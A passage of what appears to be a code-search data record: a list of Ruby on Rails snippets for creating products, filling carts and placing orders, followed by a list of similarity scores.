\"Order succesfully created\" \n\t\tredirect_to \"/orders/#{order.id}\"\n\tend", "def add_product(product)\n current_item = cart_items.find_by(product_id: product.id)\n if current_item.present?\n current_item.increment(:quantity)\n product.decrement!(:inventory_count)\n render json: {\n status: :ok,\n message: 'Product added to cart!'\n }\n else\n current_item = cart_items.build(product_id: product.id)\n end\n end", "def mark_as_purchased!(current_user: nil)\n purchase!(skip_buyer_validations: true, email: false, skip_quickbooks: true, current_user: current_user)\n end", "def purchase_action\n # from cart\n if params[:product_id] == '0'\n @items = session[:cart]\n @purchase = Purchase.new(bill_address_id: params[:bill_address_id], ip: IPAddr.new(request.remote_ip).to_i)\n @purchase.save\n @items.each do |item|\n @purchase_products = PurchaseProduct.new(purchase_id: @purchase.id, product_id: item['product'], quantity: item['quantity'])\n @purchase_products.save\n stock_minus(item['product'], item['quantity'])\n end\n # via product page\n else\n @purchase = Purchase.new(bill_address_id: params[:bill_address_id], ip: IPAddr.new(request.remote_ip).to_i)\n if @purchase.save\n @purchase_products = PurchaseProduct.new(purchase_id: @purchase.id, product_id: params[:product_id], quantity: session[:quantity])\n @purchase_products.save\n stock_minus(params[:product_id], session[:quantity])\n else\n render 'purchase_show'\n end\n end\n # Send email\n UserMailer.purchase_email(@purchase).deliver\n session[:purchased_item] = params[:product_id]\n redirect_to purchase_success_path\n end", "def return_item(product)\n Transaction.new(self,product,refund: product.title)\n end", "def purchase_stock!\n nil\n end", "def create_product(row)\n #create new product\n product = Product.new\n product.model = row['model']\n product.sku = ''\n product.upc = ''\n product.ean = ''\n product.jan = ''\n product.isbn = ''\n product.mpn = ''\n product.location = ''\n product.stock_status_id = 5\n product.manufacturer_id = 0\n product.shipping = true\n product.price = row['price']\n product.points = 0\n product.tax_class_id = 0\n product.date_available = DateTime.now\n product.weight = row['weight']\n product.weight_class_id =0\n product.length = 0\n product.width = 0\n product.height = 0\n product.length_class_id = 1\n product.subtract = 1\n product.sort_order = 0\n product.status = false\n product.date_added = DateTime.now -2\n product.date_modified = DateTime.now -2\n product.save\n\n #add product name\n productDescription = ProductDescription.new\n productDescription.product_id = product.product_id\n productDescription.language_id = 1\n productDescription.name = row['english']\n productDescription.description = ''\n productDescription.meta_description = ''\n productDescription.meta_keyword = ''\n productDescription.tag = ''\n\n\n productDescription.save\n\n pd = ProductDescription.new\n pd.product_id = product.product_id\n pd.language_id = 2\n pd.name = row['chinese']\n pd.description = ''\n pd.meta_description = ''\n pd.meta_keyword = ''\n pd.tag = ''\n\n pd.save \n\n #add product to store\n productStore = ProductStore.new\n productStore.product_id = product.product_id\n productStore.store_id = 0\n productStore.save\n\n \n\n end", "def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end", "def add_product(product)\n # inicia transaรงรฃo\n transaction do \n item = self.items.detect{|item| item.product == product}\n if item\n item.quantity += 1\n item.save\n else\n self.items.create(:product => product, :quantity => 1, :price => product.price)\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n @product.user = current_user\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to(@product, :notice => 'Product was successfully created.') }\n format.xml { render :xml => @product, :status => :created, :location => @product }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t#binding.pry\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to products_path(@product.id)\n\t\telse\n\t\t\trender action: \"new\"\n\t\tend\n\tend", "def add_product(product,quant=1)\n\t\tproduct_id = product.id\n\t\tif exist?(product_id)\n\t\t\tproducts[product_id] += quant\n\t\telse\n\t\t\tproducts[product_id] = quant \n\t\tend\n\t\tsave\n\tend", "def create\n if user_signed_in?\n @product = current_user.products.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def add_to_transactions\n if @product.stock == 0 \n raise OutOfStockError, \" OutOfStockError, #{@product.title} is out of stock.\"\n else\n @product.reduce_stock \n @@transactions << self \n end\n end", "def createPurchaseOrder(productId, orderAmount)\n created = false\n existingOrder = @purchaseOrders.find {|ord| ord.productId.to_i == productId.to_i}\n if existingOrder == nil\n @purchaseOrders << PurchaseOrder.new(Time.now, productId, orderAmount)\n created = true\n end\n created\n end", "def fetch_transactions_for(product, start_date: Date.today - 1.month, end_date: Date.today)\n product.fetch_transactions_for(self, start_date: start_date, end_date: end_date)\n end", "def conditional_product_touch\n stock_changed = (saved_change_to_count_on_hand? && saved_change_to_count_on_hand.any?(&:zero?)) || saved_change_to_product_id?\n product.touch if stock_changed\n end", "def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end", "def create\n unread\n\n @product = Product.new(params[:product])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if current_user\n @order = current_user.orders.create(product_id: params[:product_id])\n redirect_to orders_path\n end\n end", "def create\n @product = Product.new(params[:product])\n @category = @product.category\n \n if @product.category.wishlist?\n \t@product.status = \"0\"\n \t@product.status_date = Time.now\n \t\n \t#we are a wish list item... check to see if anybody is looking for us.\n \t#maybe we ignore this step here and leave it to daily processing.\n end\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\t\n\t\t\tredirect_to product_path(@product.id)\n\t\telse\n\t\t\trender action: \"new\"\n\t\tend\n\tend", "def create_product_for(line_item)\n default_tax_category = TaxCategory.find_by_name(\"default\")\n product = Product.create(:name => line_item.title, \n :master_price => line_item.price, \n :description => line_item.title,\n :tax_category_id => default_tax_category ? default_tax_category.id : nil)\n product.save!\n product.variants.create(:product_id => product.id, :sku => line_item.sku, :price => line_item.price)\n product\n end", "def buy\n if @product.buy\n render json: {success: true, message: I18n.t(\"products.purchased\")}\n else\n render json: {success: false, message: I18n.t(\"products.no_stock\")}\n end\n end", "def create\n product = Product.find(params[:product_id])\n qty=params[:quantity].to_i \n @ordered_product = @cart.add_product(product.id,qty)\n @ordered_product.save\n respond_to do |format|\n format.html { redirect_to store_index_url, notice: 'Order placed successfully' }\n format.json { head :no_content }\n end\n end", "def create\n @product = Product.new(params[:product])\n @brand = Brand.find(params[:brand_id])\n @product.brand= @brand\n @unit = Unit.find(params[:unit_id])\n @product.unit= @unit\n @category = Category.find(params[:category_id])\n @product.category= @category\n @product.stock_quantity=0\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'ๅ•†ๅ“ๅˆ›ๅปบๆˆๅŠŸ.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = current_vendor.vendor_products.new(vendor_product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to vendor_products_url, notice: 'product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n data = self.class.create_product(self)\n self.id = data.id\n data\n end", "def create\n product = Product.find_by(id: params[:order_item][:product_id])\n if params[:order_item][:qty].to_i > product.inv_qty\n flash[:warning] = \"Quantity selected exceeds amount availabe in inventory\"\n redirect_to product_path(product.id)\n elsif @current_order.nil?\n @current_order = Order.new\n @current_order.save\n end\n\n @order_item = @current_order.order_items.new(order_item_params)\n @order_item.save\n @current_order.save\n @current_order.update(status: \"Pending\")\n session[:order_id] = @current_order.id\n redirect_to cart_path(@current_order.id)\n # else\n # flash[:warning] = \"Item order not placed\"\n # redirect_to root_path\n # # end\n end", "def create_product()\n # check for existing slug\n slug = @product_row[:name]\n if(Spree::Product.where(\"slug=?\", slug).length > 0)\n @errors << { :part_number => @product_row[:name], :condition => @product_row[:condition], :message => \"Found duplicate slug (url) for \" + slug }\n end\n\n # Get description\n description = @product_row[:description]\n # Get with from w/\n if @product_row[:description].downcase.include? \"w/o\"\n description = @product_row[:description].gsub(/w\\/o/i,\"without \")\n description.strip!\n elsif @product_row[:description].downcase.include? \"w/\"\n description = @product_row[:description].gsub(/w\\//i,\"with \")\n description.strip!\n end\n new_product = Spree::Product.create :name => @product_row[:name],\n :description => description,\n :meta_keywords => @product_row[:meta_keywords],\n :available_on => DateTime.new(2015,1,1),\n :slug => slug,\n :tax_category_id => @@auto_tax_category_id,\n :shipping_category_id => @@shipping_category_id,\n :promotionable => true,\n :price => @product_row[:price], # Defines master price\n :notes => @product_row[:notes]\n end", "def add_product(product, quantity=1, payment_method='deposit')\n item = @items.find { |i| i.product_id == product.id && i.payment_method == payment_method }\n if item\n item.quantity += quantity\n if item.quantity > 20\n item.quantity = 20\n @quantity_error=\"Only 20 Items may be added at one time. If you need to purchase additional items please contact customer service.\"\n end\n else\n @items << OrderLineItem.new(\n :product_id => product.id,\n :quantity => quantity,\n :unit_deposit => product.deposit,\n :unit_price => product.price,\n :payment_method => payment_method\n )\n end\n end", "def create\n @product = Product.new(product_params)\n @product.user_id = current_user._id\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n current_user.user_info.products.push @product\n Shopify.create @product\n format.html { redirect_to :action => 'index' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def purchase\n response = GATEWAY.purchase(self.price * 100, credit_card)\n transactions.create!(:price => self.price, :response => response)\n self.transaction_number = response.subscription_id if response.respond_to? :subscription_id\n self.status = response.success?\n create_transaction if self.status\n self.save\n end", "def buy\n if self.inventory_count == 0\n return false\n else\n # for now, decrementing the inventory count when purchasing a product will do\n self.decrement!(:inventory_count)\n # in the future, could return a receipt number, etc.\n return true\n end\n end", "def create\n @breadcrumb = 'update'\n @product = $product\n @supplier = $supplier\n @purchase_price = PurchasePrice.new(params[:purchase_price])\n @purchase_price.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @purchase_price.save\n format.html { redirect_to @purchase_price, notice: crud_notice('created', @purchase_price) }\n format.json { render json: @purchase_price, status: :created, location: @purchase_price }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_price.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_product\n begin\n db = SQLite3::Database.open(ENV[\"BANGAZON\"])\n db.execute('INSERT INTO products (product_title, product_price, customer_id) VALUES (?, ?, ?)',[ @product_title, @product_price, @customer_id])\n last_record = db.last_insert_row_id\n db.close\n last_record\n rescue SQLite3::Exception => e\n p \"Exception with create_new_product database query: #{e}\"\n end\n\n end", "def create\n product = Product.new(\n name: params[:name],\n net_price: params[:net_price]\n )\n\n if product.save\n format_response({ success: true, message: \"Product '#{product.name}' has been created\" }) and return\n else\n format_response({ success: false, message: product.errors.full_messages.to_sentence }) and return\n end\n end", "def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to product_path(@product.id), notice: \"The product was successfully created\"\n\t\telse\n\t\t\trender action: 'new'\n\t\tend\n\tend", "def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @purchase_order.date = Time.now\n respond_to do |format|\n if @purchase_order.save\n format.html { \n flash[:notice] = 'La Orden de Compra se creรณ satisfactoriamente.'\n redirect_to purchase_orders_path\n }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts params\n old_product = Product.find_by_name_and_is_deleted(params[:product][:name],true)\n unless old_product.nil?\n old_product.update_attributes(:version=>params[:product][:version],:release_date=>params[:product][:release_date],:is_deleted=>false)\n respond_to do |format|\n format.html { redirect_to products_url }\n end \n else\n @product = Product.new(params[:product])\n @product.is_deleted = false\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to products_url }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to product_path(@product.id), notice: \"The product has successfully created\"\n\t\telse\n\t\t\trender action: 'new'\n\t\t\t\n\t\tend\n\tend", "def create\n p \"******************\"\n p product_params\n p \"******************\"\n\n\n @product = Product.new(product_params)\n @product.seller_id = current_user.id\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n flash[:notice] = 'Produto criado.'\n format.html { redirect_to(@product) }\n format.xml { render :xml => @product, :status => :created, :location => @product }\n else\n default_data\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_product(product, quantity)\n raise Exceptions::BusinessException.new('Product already exists') if product_already_exists?(product)\n\n items << Item.new(quantity: quantity, product: product)\n end", "def add_product(product_params)\n\n\t\tcurrent_item = cart_items.find_by(variant_id: product_params[:product][:variant_id])\n\n\t\tif current_item\n\t\t\tproduct_params[:product][:action] == 'edit' ?\n\t\t\tcurrent_item.quantity = product_params[:product][:quantity].to_i :\n\t\t\tcurrent_item.quantity += product_params[:product][:quantity].to_i\n\t\t\tcurrent_item.save\n\t\telse\n\t\t\tnew_item = cart_items.create(product_id: product_params[:product][:product_id],variant_id: product_params[:product][:variant_id], quantity: product_params[:product][:quantity], cart_id: self.id)\n\t\tend\n\t\t\n\t\tnew_item\n\tend", "def create\n begin\n @product = Product.available.find(params[:product_id])\n rescue\n @product = nil\n end\n @reload = !params[:reload].blank?\n if !@product.nil? && @product.available?\n @line_item = @cart.line_items.create(:product_id => @product.id, :quantity => 1, :total_cents => @product.offer_cents, :currency => @product.currency)\n\n session[:foo] # lazy loading session patch. see: http://bit.ly/1pvTLv\n holder = (logged_in?) ? current_member.id : request.session_options[:id]\n @line_item.product.hold(holder)\n flash[:notice] = \"#{@line_item.product.title} is now in your cart\"\n render :action => 'create.js.rjs'\n # redirect_to_index unless request.xhr?\n else\n logger.error(\"Attempt to access invalid product #{params[:product_id]}\" )\n flash[:notice] = \"Product no longer available\"\n render :action => 'not_avail.js.rjs'\n end \n end", "def purchase_for(user)\n return nil if !available? or user.nil?\n order = Order.create ticket: self, user: user\n order\n end", "def create\n @product = Product.new(params[:product].merge :user_id => current_user.id)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to root_url, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cart = current_cart\n @product = Product.find(params[:product_id])\n @order = Order.add_product(@product, @cart)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @current_user = current_user\n\n # @product = Product.new(product_params)\n @product = @current_user.products.new(product_params)\n\n if @product.save\n redirect_to @product\n else\n render 'new'\n end\n end", "def create\n\t\tproduct = Product.new(product_params)\n\t\tproduct.save ? (redirect_to products_path, flash: {notice: 'Product created successfully'}) : (redirect_to new_product_path, flash: {error: 'product.errors.full_messages.to_sentence'})\n\tend", "def set_purchase_order\n @purchase_order = Product.find(params[:id])\n end" ]
[ "0.7721127", "0.6255211", "0.6175181", "0.6087245", "0.5956929", "0.59548867", "0.58961296", "0.58674425", "0.5854622", "0.585424", "0.5722002", "0.5697451", "0.56728494", "0.56639904", "0.5653883", "0.56465626", "0.56376", "0.5628084", "0.56279325", "0.56273425", "0.5623776", "0.5619036", "0.5618595", "0.5605882", "0.5602508", "0.55887836", "0.557184", "0.55637854", "0.554798", "0.55393416", "0.5535032", "0.55265146", "0.5524641", "0.55222833", "0.55208504", "0.5517912", "0.5512214", "0.550361", "0.5502723", "0.5502685", "0.5491767", "0.54893446", "0.5479952", "0.54796076", "0.54787487", "0.54709476", "0.54686284", "0.54560584", "0.5455416", "0.5453092", "0.54499537", "0.544158", "0.5433455", "0.5431254", "0.5431166", "0.54310036", "0.54286855", "0.5426613", "0.5424601", "0.54216474", "0.54096746", "0.5404862", "0.5399984", "0.5399363", "0.5396212", "0.5392747", "0.5387555", "0.53868806", "0.5382595", "0.53799015", "0.53790736", "0.53770345", "0.53751594", "0.53725696", "0.5369509", "0.5366976", "0.5366537", "0.5362363", "0.5361727", "0.5359587", "0.5352983", "0.5352287", "0.5348447", "0.53471214", "0.5346912", "0.5343368", "0.53398204", "0.5332717", "0.5328341", "0.5327702", "0.5325236", "0.5317526", "0.5316498", "0.5314795", "0.5307009", "0.5306472", "0.5305959", "0.5301467", "0.5299298", "0.5295957" ]
0.8818048
0